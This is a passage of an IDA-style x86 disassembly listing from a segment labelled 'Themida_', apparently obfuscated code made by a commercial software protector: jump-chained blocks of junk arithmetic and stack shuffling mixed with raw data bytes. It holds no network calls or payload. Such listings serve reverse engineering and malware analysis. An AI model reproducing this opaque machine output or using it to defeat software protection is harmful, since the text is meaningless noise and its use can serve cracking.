		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_561B0E
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFF34FBh
; ---------------------------------------------------------------------------


loc_56D3A4:				; CODE XREF: Themida_:00567B24j
		push	13101984h
		mov	edi, [esp]
		add	esp, 4
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		db 29h,	0F2h, 5Eh
		dd 0E955DA01h, 0FFFFF2E3h
; ---------------------------------------------------------------------------


loc_56D3CC:				; CODE XREF: Themida_:0055E5A2j
		pop	dword ptr [esp]
		push	eax
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		not	edi
		xchg	edi, [esp]
		mov	eax, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_571294
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 27h
		dd 0F76FC646h, 0F020E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D406:				; CODE XREF: Themida_:0055E3A2j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, ecx
		mov	ebx, ebp
		jmp	loc_5603B5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4ECh, 0B40E900h, 14F70000h, 4DE95E24h, 57FFFF13h
		dd 0FFD8A1E9h, 273B68FFh, 0EC810000h, 4, 83242489h, 8F042404h
		dd 0E92404h, 53000029h,	0FF19E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D455:				; CODE XREF: Themida_:0056A32Dj
		pop	ecx
		add	esp, 4
		jmp	loc_56DB94
; ---------------------------------------------------------------------------


loc_56D45E:				; CODE XREF: Themida_:0056FE59j
		mov	esp, [esp]
		shr	eax, 8
		xor	eax, ecx
		push	7F37h
		mov	[esp], eax
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		push	dword ptr [esp]
		jmp	loc_55CDB9
; ---------------------------------------------------------------------------


loc_56D47E:				; CODE XREF: Themida_:00568E68j
		push	esi
		jmp	loc_55C81D
; ---------------------------------------------------------------------------
		dd 1B68D8F7h, 8900004Fh, 0F6682414h, 8900001Fh,	0E95A2404h
		dd 160Fh, 2105C801h, 0FF50B770h, 34FF2434h, 4157E924h
		dd 0EAD1FFFFh, 7244E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D4B6:				; CODE XREF: Themida_:0055F398j
		add	edi, 29871AB6h
		pop	edx
		jmp	loc_5681A2
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 1B26E905h, 0F7090000h, 0F7EF815Eh, 8343822Eh, 148904ECh
		dd 2E8EBA24h, 0D7012C73h, 32CDE9h, 4EC8300h, 0E9243C89h
		dd 0FFFF962Ah, 5DE9534Bh, 81FFFFA0h, 4C4h, 8EE95100h, 68FFFF1Dh
		dd 0C953855h, 0FB6BE95Eh, 0E95EFFFFh, 0FFFEF677h, 4EF81h
		dd 0FF570000h, 8B042474h, 0C483243Ch, 24048F04h, 240C895Ch
		dd 0C1815954h, 4, 6D4768h, 243C8900h, 3811E9h
		db 0
; ---------------------------------------------------------------------------


loc_56D541:				; CODE XREF: Themida_:0056F096j
		sub	edx, 1C5D4F9Bh
		sub	edx, 3383185Fh
		jmp	loc_5615E1
; ---------------------------------------------------------------------------


loc_56D552:				; CODE XREF: Themida_:0056A5B0j
		add	ax, bp
		jmp	loc_568E5F
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 3F268h, 243C8900h, 0FFCF2FE9h, 0E94B43FFh, 0FFFFFF80h
; ---------------------------------------------------------------------------


loc_56D570:				; CODE XREF: Themida_:0056259Dj
		and	edx, 76455E1Dh
		xor	edx, 71EE112Ah
		sub	eax, edx
		jmp	loc_55FD21
; ---------------------------------------------------------------------------
aYx5vrmYs	db 'YX5vrŒ*YéÆ',0Bh,0
		align 10h


loc_56D590:				; CODE XREF: Themida_:0055E55Ej
		pop	ebx
		xor	eax, 40B163C1h
		sub	eax, 1
		add	eax, 0AA52DDAh
		push	esi
		jmp	loc_56EA01
; ---------------------------------------------------------------------------


loc_56D5A4:				; CODE XREF: Themida_:00560BB9j
		mov	ah, dl
		xchg	bl, ah
		jmp	loc_56B9F1
; ---------------------------------------------------------------------------
		db 89h,	0F7h, 5Eh
		dd 0FFAE5CE9h, 2434FFFFh, 4EC835Ah, 0FF10C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D5C1:				; CODE XREF: Themida_:00569F56j
		neg	ecx
		or	ecx, 314D3722h
		sub	ecx, 0AC994C25h
		add	edi, ecx
		jmp	loc_56C6F5
; ---------------------------------------------------------------------------


loc_56D5D6:				; CODE XREF: Themida_:00568FFEj
		mov	[esp], edi
		push	esp
		jmp	loc_55D409
; ---------------------------------------------------------------------------


loc_56D5DF:				; CODE XREF: Themida_:00567C52j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_562920
; ---------------------------------------------------------------------------


loc_56D5EB:				; CODE XREF: Themida_:0055D33Dj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56585A
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 0C1h
		dd 0BF5706E3h, 0E57B09FCh, 0BA2C381h, 0FB294088h, 0FF81A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D611:				; CODE XREF: Themida_:0056319Bj
		mov	ebp, 2FEC209Dh
		xor	ebp, 2FEC2099h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_570200
; ---------------------------------------------------------------------------
		dd 387574BFh, 0F7814F5Eh, 4E003FEAh, 10E9FE89h,	89FFFFD4h
		dd 4AE9241Ch
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D64B:				; CODE XREF: Themida_:0055EDD2j
		push	ebp
		jmp	loc_5627CD
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0D4h
		dd 5CFFFFBDh, 2C181h, 0FF510000h, 0FF042474h, 81592434h
		dd 4C4h, 17E9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D672:				; CODE XREF: Themida_:0056F6FFj
		mov	[esp], ebx
		push	ebp
		push	615E1221h
		pop	ebp
		sub	ebp, 0C30D0C6h
		mov	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_56AA3F
; ---------------------------------------------------------------------------
		dd 36FFE281h, 73E929C2h, 5F00001Ah, 2474FF51h, 0F9C7E904h
		dd 0C181FFFFh, 4, 4C181h, 0C870000h, 72E95C24h,	68FFFFCBh
		dd 3658h, 0BB241C89h, 7004747Eh, 39C6EB81h, 1FE934E2h
		dd 81FFFFF0h, 0FE3BC1F3h, 5BD90176h, 0E9240C87h, 4ACh
; ---------------------------------------------------------------------------


loc_56D6E0:				; CODE XREF: Themida_:0055C701j
		mov	ebp, edi
		pop	edi
		pop	esi
		xor	eax, ebp
		jmp	loc_560B5D
; ---------------------------------------------------------------------------
		db 81h
		dd 0BF856DEEh, 0E9F031D4h, 0E7Bh, 8924248Bh, 1FE92404h
		db 0EDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56D703:				; CODE XREF: Themida_:0055F2D6j
		pop	esp
		mov	[esp], edx
		jmp	loc_56DA8F
; ---------------------------------------------------------------------------


loc_56D70C:				; CODE XREF: Themida_:00569C14j
		push	eax
		xor	dword ptr [esp], 2A6E5976h
		pop	esi
		push	edx
		mov	edx, 2A6E5976h
		xor	esi, edx
		pop	edx
		pop	eax
		push	edi
		push	edx
		mov	edx, 54F022A4h
		mov	edi, 572C5184h
		xor	edi, edx
		pop	edx
		push	esi
		mov	esi, 7B4B51FBh
		sub	[esp+0Ch], esi
		jmp	loc_568EBA
; ---------------------------------------------------------------------------
		db 29h,	0FBh, 0E9h
		dd 0FFFF108Ch, 0FFD3015Eh, 36E92434h, 2CFFFFB6h, 78E95A85h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D757:				; CODE XREF: Themida_:0056293Dj
		push	15D5h
		jmp	loc_560099
; ---------------------------------------------------------------------------
		db 35h,	0C5h, 0Ah
		dd 0EEE90FE9h, 81FFFEF5h, 252538EAh, 81CA0158h,	252538C2h
		dd 240C8B58h, 6804C483h, 70BEh,	68241C89h, 2, 0FFDA015Bh
		dd 685B2434h, 24C6h, 0FFC1D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D79D:				; CODE XREF: Themida_:0056101Cj
		add	ebx, ebp
		jmp	loc_56F781
; ---------------------------------------------------------------------------
		dd 1CE668h, 240C8900h, 2434FF57h, 4C48359h, 0C2E9815Fh
		dd 0E900F222h, 0FFFFCC38h, 8DC18159h, 819040B0h, 620BA4C6h
		dd 0F08DE96Dh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56D7D2:				; CODE XREF: Themida_:005661BAj
		sub	edx, 0BF8B8916h
		jmp	loc_56810D
; ---------------------------------------------------------------------------


loc_56D7DD:				; CODE XREF: Themida_:0056DA94j
		pop	edx
		sub	edx, 6C270132h
		sub	edx, 0B3E1237Ah
		push	edx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		add	eax, 65654AF0h
		dec	eax
		jmp	loc_56BBC6
; ---------------------------------------------------------------------------


loc_56D7FD:				; CODE XREF: Themida_:0055D3A0j
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 40591F43h
		jmp	loc_56C21F
; ---------------------------------------------------------------------------


loc_56D80D:				; CODE XREF: Themida_:0056F4E1j
		sub	ebx, 35623306h
		jmp	loc_564E51
; ---------------------------------------------------------------------------
		dd 7939C681h, 0C6E974B4h, 54FFFF75h, 4BE5659h, 0E9000000h
		dd 0FFFF59FFh, 0FF2434FFh, 52582434h, 0C281E289h, 4, 8704C283h
		dd 93E92414h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D84B:				; CODE XREF: Themida_:0056FFDDj
		push	esi
		push	esp
		jmp	loc_56E43E
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 5BA3C781h,	0BB5314F9h, 87D979E0h, 6C9CBD55h
		dd 0EF291C93h, 81DF295Dh, 936C9CC7h, 0F8E95B1Ch
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D87B:				; CODE XREF: Themida_:00567EA2j
		add	edx, 766F0B1Ah
		add	edi, edx
		pop	edx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5659E0
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 2434FF04h, 0FF14FEE9h, 4077FFFFh, 0FF9080E9h, 5EF331FFh
		dd 179BE381h, 0F38156D4h, 53B870D7h, 0FFA7CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D8BD:				; CODE XREF: Themida_:0055D057j
		or	esi, 326A4411h
		shl	esi, 1
		shl	esi, 7
		xor	esi, 506574DFh
		or	esi, 34635051h
		jmp	loc_56AA98
; ---------------------------------------------------------------------------


loc_56D8D9:				; CODE XREF: Themida_:005687B7j
		add	edx, 4
		jmp	loc_55DC34
; ---------------------------------------------------------------------------
		dd 0E95FFE01h, 0FFFF91FBh, 0CB8BEF81h, 0C1E920A9h, 5BFFFF11h
		dd 0E904E9C1h, 0FFFFB7BBh, 846FE981h, 0FE996F1h, 89000016h
		dd 0BA52242Ch, 4, 15AD589h, 2434FFE8h, 5854505Dh, 0FF1A21E9h
		dd 24048BFFh, 104C483h,	56505BD9h, 0F10139BEh, 0C9F68163h
		dd 0E96BAB26h, 0FFFEF06Dh, 815EF129h, 6C2AC7EBh, 81CB015Bh
		dd 6C2AC7C3h, 1C87595Bh, 0EB805C24h, 0B25266BBh, 66D3001Ch
		dd 51C3285Ah, 57E9F8B5h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D96B:				; CODE XREF: Themida_:0056E8CFj
		mov	edx, 1B51C30Fh
		add	edx, 24BD5BC5h
		jmp	loc_560584
; ---------------------------------------------------------------------------
		db 0B9h
		dd 3EA7144Dh, 0AED1E981h, 54E9E8C6h, 0BEFFFFBCh, 4D704D51h
		dd 1FACF681h, 0B7E9308Bh, 58FFFFCCh, 5C240C87h,	3C8B5457h
		dd 4C48324h, 4C781h, 0BA520000h, 775111C5h, 0CFE9F287h
		dd 0FFFFFEFCh, 0C8B2434h, 4C48324h, 1C8B5453h, 4C48124h
		dd 81000000h, 4C3h, 4C38300h, 0E9241C87h, 0FFFF5771h, 0E681D6F7h
		dd 38617AF1h, 79D1F681h, 8952223Eh, 5AD789F2h, 8124348Bh
		dd 4ECh, 24048900h, 18BEE954h, 15B8FFFFh, 313B3E05h, 0F3CDE9C3h
		dd 166FFFFh, 665266F0h,	661F6FBAh, 0E905E2C1h, 0FFFF9EE3h
		dd 4C181h, 0BF570000h, 4, 335FF901h, 0C31240Ch,	240C3324h
		dd 0FFB180E9h, 336853FFh, 5B2D826Fh, 0CFF2C381h, 0DA894FABh
		dd 23EA815Bh, 817D2E3Fh, 0AA2EB0C5h, 98C58129h,	15F7F7Dh
		dd 1910E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DA6A:				; CODE XREF: Themida_:005663D7j
		pop	ax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_561F3A
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 6C54E958h, 0E189FFFFh, 4C181h, 41E90000h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DA8F:				; CODE XREF: Themida_:0056D707j
		push	60427983h
		jmp	loc_56D7DD
; ---------------------------------------------------------------------------
		db 31h,	0F3h, 0E9h
		dd 0FFFF9ECCh
; ---------------------------------------------------------------------------


loc_56DAA0:				; CODE XREF: Themida_:00571067j
		push	ebx
		push	esi
		push	774A3982h
		pop	esi
		sub	esi, 774A397Eh
		push	3491h
		jmp	loc_56A3EE
; ---------------------------------------------------------------------------
		dd 83242489h, 5F042404h, 4C781h, 0C7810000h, 4,	8904EC83h
		dd 74FF243Ch, 3C8B0424h, 0E7895724h, 0FFBA4EE9h, 0A8E95CFFh
		dd 80FFFF9Ah, 0F98821F7h, 0E9CE885Bh, 0FFFF6914h, 1D47F381h
		dd 0FAE95FDAh, 68FFFFFAh, 2E42h, 0FF828BE9h, 0FB9DBFFFh
		dd 0F901B2C3h, 0E9CB215Fh, 3524h
; ---------------------------------------------------------------------------


loc_56DB18:				; CODE XREF: Themida_:00560BE5j
		push	ebp
		mov	ebp, esp
		jmp	loc_5681C8
; ---------------------------------------------------------------------------


loc_56DB20:				; CODE XREF: Themida_:00562DA9j
		sub	edi, 14372792h
		push	ebx
		mov	ebx, 49C01B7Ch
		add	eax, 3B4E72CBh
		sub	eax, 34731549h
		add	eax, ebx
		add	eax, 34731549h
		push	esi
		mov	esi, 17C14342h
		add	esi, 1
		xor	esi, 77330DB0h
		push	ecx
		mov	ecx, 64C0312Fh
		or	esi, ecx
		jmp	loc_56AD8A
; ---------------------------------------------------------------------------


loc_56DB5C:				; CODE XREF: Themida_:00561E2Fj
		push	eax
		mov	eax, 6E24298h
		push	7C2Ah
		mov	[esp], ecx
		mov	ecx, 2024464Ch
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6EDB7F51h
		jmp	loc_5708A5
; ---------------------------------------------------------------------------


loc_56DB7F:				; CODE XREF: Themida_:0056707Bj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_566A2F
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF3A24h
; ---------------------------------------------------------------------------


loc_56DB94:				; CODE XREF: Themida_:0056D459j
		push	edx
		sub	esp, 4
		jmp	loc_56C184
; ---------------------------------------------------------------------------


loc_56DBA0:				; CODE XREF: Themida_:0056F1AFj
		sub	edi, 39C76BFh
		sub	edi, 1546EE58h
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 2BC03801h
		jmp	loc_561710
; ---------------------------------------------------------------------------


loc_56DBC2:				; CODE XREF: Themida_:0056291Bj
		and	eax, 2E066714h
		xor	eax, 7513D728h
		xor	edx, eax
		pop	eax
		mov	ebx, edx
		pop	edx
		jmp	loc_562D6E
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF10BDE9h, 0B3E95EFFh, 5F000002h, 0E9535255h, 0FFFF4FCAh
		dd 0C581DDF7h, 0FFFFFFFFh, 0ADB3C581h, 0E9292497h, 0CAE95E5Dh
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56DC03:				; CODE XREF: Themida_:00567B41j
		xor	esi, ebx
		xor	ebx, esi
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_55C929
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 4C2815Ah, 57000000h, 852325BFh, 0EC78163h
		dd 0E927D96Bh, 0FFFF5C0Eh, 0B9240C89h, 37D73B25h, 0FFC3E1E9h
		dd 0D830ACFFh, 1AEB68h,	241C8900h, 685768h, 240C8900h
		dd 0B45081B1h, 43CAE931h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DC62:				; CODE XREF: Themida_:00565F67j
		pop	edx
		push	esi
		mov	esi, 45674F4Eh
		inc	esi
		sub	esi, 60415167h
		jmp	loc_56D024
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0EBh
		dd 5EFFFF23h, 0C281F201h, 4D000561h, 77FF685Eh,	0C890000h
		dd 0B1E95024h, 80FFFFB6h, 0D8284DEBh, 0FF82CFE9h, 242C89FFh
		dd 4BDh, 0FFE90100h, 835D2434h,	895204C4h, 4C281E2h, 83000000h
		dd 148704EAh, 14895C24h, 59D5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DCC6:				; CODE XREF: Themida_:0055E2BAj
		sub	esi, edi
		mov	edi, [esp]
		jmp	loc_562832
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 34895C24h,	0F3AAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DCEA:				; CODE XREF: Themida_:00564BC1j
		push	dword ptr [esp]
		jmp	loc_56081B
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 6F1B620Bh, 0FEEEE9E9h, 4C483FFh, 34FFF829h, 0FAE95F24h
		dd 8FFFFFC9h, 4DE92404h
		db 17h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DD13:				; CODE XREF: Themida_:0055FC60j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55EEF2
; ---------------------------------------------------------------------------
		dd 8075EF80h, 0D7F646E7h, 5F780h, 5B665BFDh, 2889C380h
		dd 89EB80EBh, 0FEEF86E9h, 243C87FFh, 4C4835Ch, 0B60FC330h
		dd 87048DC0h, 0E95D5455h, 0FFFFB07Eh, 7DE95D54h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DD57:				; CODE XREF: Themida_:0055DD20j
		mov	ah, 18h
		neg	ah
		sub	ah, 0C9h
		push	2903h
		mov	[esp], ecx
		push	eax
		mov	al, 0BBh
		not	al
		inc	al
		jmp	loc_569C20
; ---------------------------------------------------------------------------


loc_56DD72:				; CODE XREF: Themida_:0055ED1Cj
		or	eax, eax
		jz	loc_55DEA4
		push	edx
		mov	edx, 28h
		push	eax
		mov	eax, 4658269Fh
		jmp	loc_56FEC3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 505F2434h, 405E089h,	5000000h, 4, 0E9240487h, 9DEh
		dd 0C1F38746h, 37E902E3h, 0BEFFFFCDh, 0A05190Eh, 0FF6292E9h
		dd 9EE950FFh
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DDBF:				; CODE XREF: Themida_:0056FF7Fj
		pop	esp
		jmp	loc_57088F
; ---------------------------------------------------------------------------
		db 42h,	87h, 0DAh
		dd 0DA87D3F7h, 0FD2DE942h, 37B3FFFFh, 0E973CB80h, 0FFFFFEB7h
		dd 0E9C58959h, 0FFFFA799h, 0EE5FE94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DDEA:				; CODE XREF: Themida_:0056EAE6j
		sub	esi, 60E81E54h
		add	esi, edi
		add	esi, 60E81E54h
		sub	esi, 3DCC033Bh
		pop	edi
		jmp	loc_56E2D7
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4812404h, 4, 4EC81h, 34890000h,	685E5424h
		dd 171Ch, 0FFA997E9h, 24048FFFh, 0E924248Bh, 0FFFEF7AFh
		dd 0E932FF66h, 0FFFF9FCAh
; ---------------------------------------------------------------------------


loc_56DE38:				; CODE XREF: Themida_:00561408j
		push	edx
		mov	edx, 40504B8h
		neg	edx
		and	edx, 105C466Ch
		add	edx, 0EFA7BDBCh
		jmp	loc_563333
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0E904C483h, 1C21h
; ---------------------------------------------------------------------------


loc_56DE5C:				; CODE XREF: Themida_:00564893j
		mov	[esp], edi
		mov	edi, 4
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	0B10h
		jmp	loc_564CB6
; ---------------------------------------------------------------------------
		db 0FEh, 0CDh, 0E9h
		dd 0FFFF28E3h
; ---------------------------------------------------------------------------


loc_56DE8C:				; CODE XREF: Themida_:00567DFDj
		add	esp, 4
		sub	ebx, edx
		jmp	loc_566ABE
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 192CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DE9E:				; CODE XREF: Themida_:00560B85j
		push	0F9Ah
		mov	[esp], edx
		mov	edx, 0
		sub	edx, 73361CA2h
		add	edx, eax
		add	edx, 73361CA2h
		jmp	loc_5685A4
; ---------------------------------------------------------------------------


loc_56DEBE:				; CODE XREF: Themida_:0055C93Cj
		mov	ebx, [esp]
		push	39A4h
		mov	[esp], ecx
		jmp	loc_55F9A3
; ---------------------------------------------------------------------------


loc_56DECE:				; CODE XREF: Themida_:005626DAj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	77F5B33h
		mov	eax, [esp]
		jmp	loc_56C7A8
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 54240C89h, 0FF1F3CE9h, 240489FFh,	3657B768h, 2434FF36h
		dd 4EC8358h, 54243489h,	295E9h,	48B6600h, 0C0E6824h, 0C890000h
		dd 0DE95424h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DF27:				; CODE XREF: Themida_:0055C780j
		shr	ecx, 8
		add	ecx, 0FF204C06h
		jmp	loc_56B0C1
; ---------------------------------------------------------------------------


loc_56DF35:				; CODE XREF: Themida_:00569426j
		push	ecx
		jmp	loc_55DAA0
; ---------------------------------------------------------------------------


loc_56DF3B:				; CODE XREF: Themida_:0056E3C1j
		mov	ax, 3A9Ah
		add	bp, ax
		jmp	loc_55D34A
; ---------------------------------------------------------------------------
		db 50h
		dd 0FEF8E5E9h, 0C2815DFFh, 0D5A666C4h, 148BD029h, 4C48124h
		dd 1000000h, 10E5E9E8h,	1489FFFFh, 51E28924h, 9056B7B9h
		dd 5E1C177h, 2469E981h,	0BE5640A9h, 0D695D30h, 0FFA7F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DF85:				; CODE XREF: Themida_:0055F9A5j
		push	edi
		push	ebx
		push	537443CDh
		pop	ebx
		push	edx
		mov	edx, 537443C9h
		sub	ebx, edx
		pop	edx
		mov	edi, ebx
		jmp	loc_563E77
; ---------------------------------------------------------------------------
		db 1, 0C5h, 8Bh
		dd 0C4812404h, 4, 8B242C87h, 8B662424h,	0E956240Ch, 2873h
		dd 83E28952h, 2C8904ECh, 6435BD24h, 0ED8169F9h,	69F96431h
		dd 0FF1C9BE9h, 0C8B66FFh, 4EC8124h, 89000000h, 0E956242Ch
		dd 0FFFFD19Bh
; ---------------------------------------------------------------------------


loc_56DFE4:				; CODE XREF: Themida_:0055F8CEj
		mov	ch, 38h
		jmp	loc_56FD7A
; ---------------------------------------------------------------------------
		db 56h
		dd 0FF6760E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DFF1:				; CODE XREF: Themida_:0056A4C7j
		add	esi, 6D8408E7h
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5602B7
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 54A96D16h, 0C581CD01h, 54A96D16h, 8BE82959h,	0C483242Ch
		dd 240C8B04h, 0FF4418E9h, 0FB0435FFh, 0C201A1CAh, 1D01E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E032:				; CODE XREF: Themida_:005666CCj
		sub	esp, 4
		jmp	loc_56B380
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 17h
		dd 2116E204h, 63E95FFAh
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E04B:				; CODE XREF: Themida_:0056D064j
		push	edx
		push	ebp
		push	edx
		jmp	loc_56E962
; ---------------------------------------------------------------------------


loc_56E053:				; CODE XREF: Themida_:0056C17Fj
		xor	ebx, 183C0A38h
		sub	ebx, 0C6AAF241h
		sub	ecx, ebx
		jmp	loc_5639E8
; ---------------------------------------------------------------------------
		dw 5568h
		dd 89000033h, 0D788241Ch, 885BF988h, 34FF870Ch,	240C8B24h
		dd 6804C483h, 8EDh, 81243C89h, 4ECh, 0FA26E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E092:				; CODE XREF: Themida_:0056EEDAj
		push	ebp
		mov	ebp, 4C8A65E1h
		jmp	loc_56CEE3
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 2BBh, 5BDA0100h, 8B241487h, 0D3662424h, 0E99C243Ch
		dd 0FFFEE36Ah, 4C481h, 0C7810000h, 4, 8702EF83h, 0E95C243Ch
		dd 0FFFFA34Eh
; ---------------------------------------------------------------------------


loc_56E0D0:				; CODE XREF: Themida_:0055CAF4j
		push	dx
		mov	dh, 0D2h
		add	bl, dh
		jmp	loc_56B3C2
; ---------------------------------------------------------------------------
		db 0C1h
		dd 9AE904EBh, 29FFFF7Ah, 0F1EF81F7h, 5E3C097Dh,	15FFB01h
		dd 53EB81EBh, 81273315h, 6116F9C3h, 34FF5D30h, 0C4835924h
		dd 0E318E904h, 8850FFFEh, 0E58851FCh, 6CE9EE88h, 0C1000026h
		dd 0E5C102EDh, 4DDDF707h, 8904EC83h, 60BA2414h,	0F71CF649h
		dd 0A56856DAh, 5E74A9CAh, 56E9F229h, 5BFFFF24h,	0FF8E82E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E141:				; CODE XREF: Themida_:0056996Cj
		add	esi, edx
		pop	edx
		add	esi, 4
		jmp	loc_56601C
; ---------------------------------------------------------------------------
		dd 1B6368h, 9387E900h, 4431FFFFh, 34FF0424h, 89575824h
		dd 4C781E7h, 81000000h,	4EFh, 6C60E900h, 0C583FFFFh, 74FF5502h
		dd 8F5D0424h, 248B2404h, 48B6624h, 353E6824h, 0C890000h
		dd 731CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E192:				; CODE XREF: Themida_:0056A63Dj
		push	ecx
		jmp	loc_569F63
; ---------------------------------------------------------------------------
		dd 0F658E380h, 0C2F380DBh, 0A0C380h, 25CFE9D8h,	575EFFFFh
		dd 4BFh, 0E9FE0100h, 0FFFF90B9h, 240C895Ch, 0FF1149E9h
		dd 0BE5652FFh, 16155338h, 2414F756h, 15E6815Eh,	0F769647Eh
		dd 3DEE81D6h, 0F770692Dh, 1430E9D6h, 84680000h,	89000069h
		dd 2DE9240Ch, 53FFFFCAh, 313A08BBh, 0DAFEB834h,	0D801D90Ah
		dd 0E9F0315Bh, 0FFFF8DEBh, 0C281CA01h, 14FF3A2Bh, 0D476E959h
		dd 0BD2DFFFFh, 0E9743466h, 0FFFF5964h
; ---------------------------------------------------------------------------


loc_56E21C:				; CODE XREF: Themida_:00568B87j
		pop	edx
		jmp	loc_56846A
; ---------------------------------------------------------------------------
		dw 295Fh
		dd 0C3015AD0h, 4C38358h, 2474FF53h, 48F5B04h, 25685C24h
		dd 89000075h, 0DFE92404h, 5DFFFEE1h, 245BE9h, 38586800h
		dd 3C890000h, 4BF24h, 0C2810000h, 55A001FAh, 74FFB951h
		dd 45E96FDAh
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E267:				; CODE XREF: Themida_:0055EC82j
		mov	[esp], esp
		jmp	loc_56574D
; ---------------------------------------------------------------------------
		db 68h
		dd 271Eh, 0FF8F35E9h, 24048BFFh, 57E68956h, 1D736851h
		dd 81596BC5h, 6A389AC1h, 1CD5E92Ch, 89560000h, 4C681E6h
		dd 0E9000000h, 6F5h, 875AD001h,	535C2404h, 0D82893B3h
		dd 0FEFBBCE9h, 5A6658FFh, 7FEE9h, 77E95500h, 31FFFF32h
		dd 1C33241Ch, 24248B24h, 10DBE9h, 39012D00h, 0D4E953E7h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56E2D7:				; CODE XREF: Themida_:0056DDFFj
		xchg	esi, [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 603878E4h
		sub	esi, ecx
		push	dword ptr [esp]
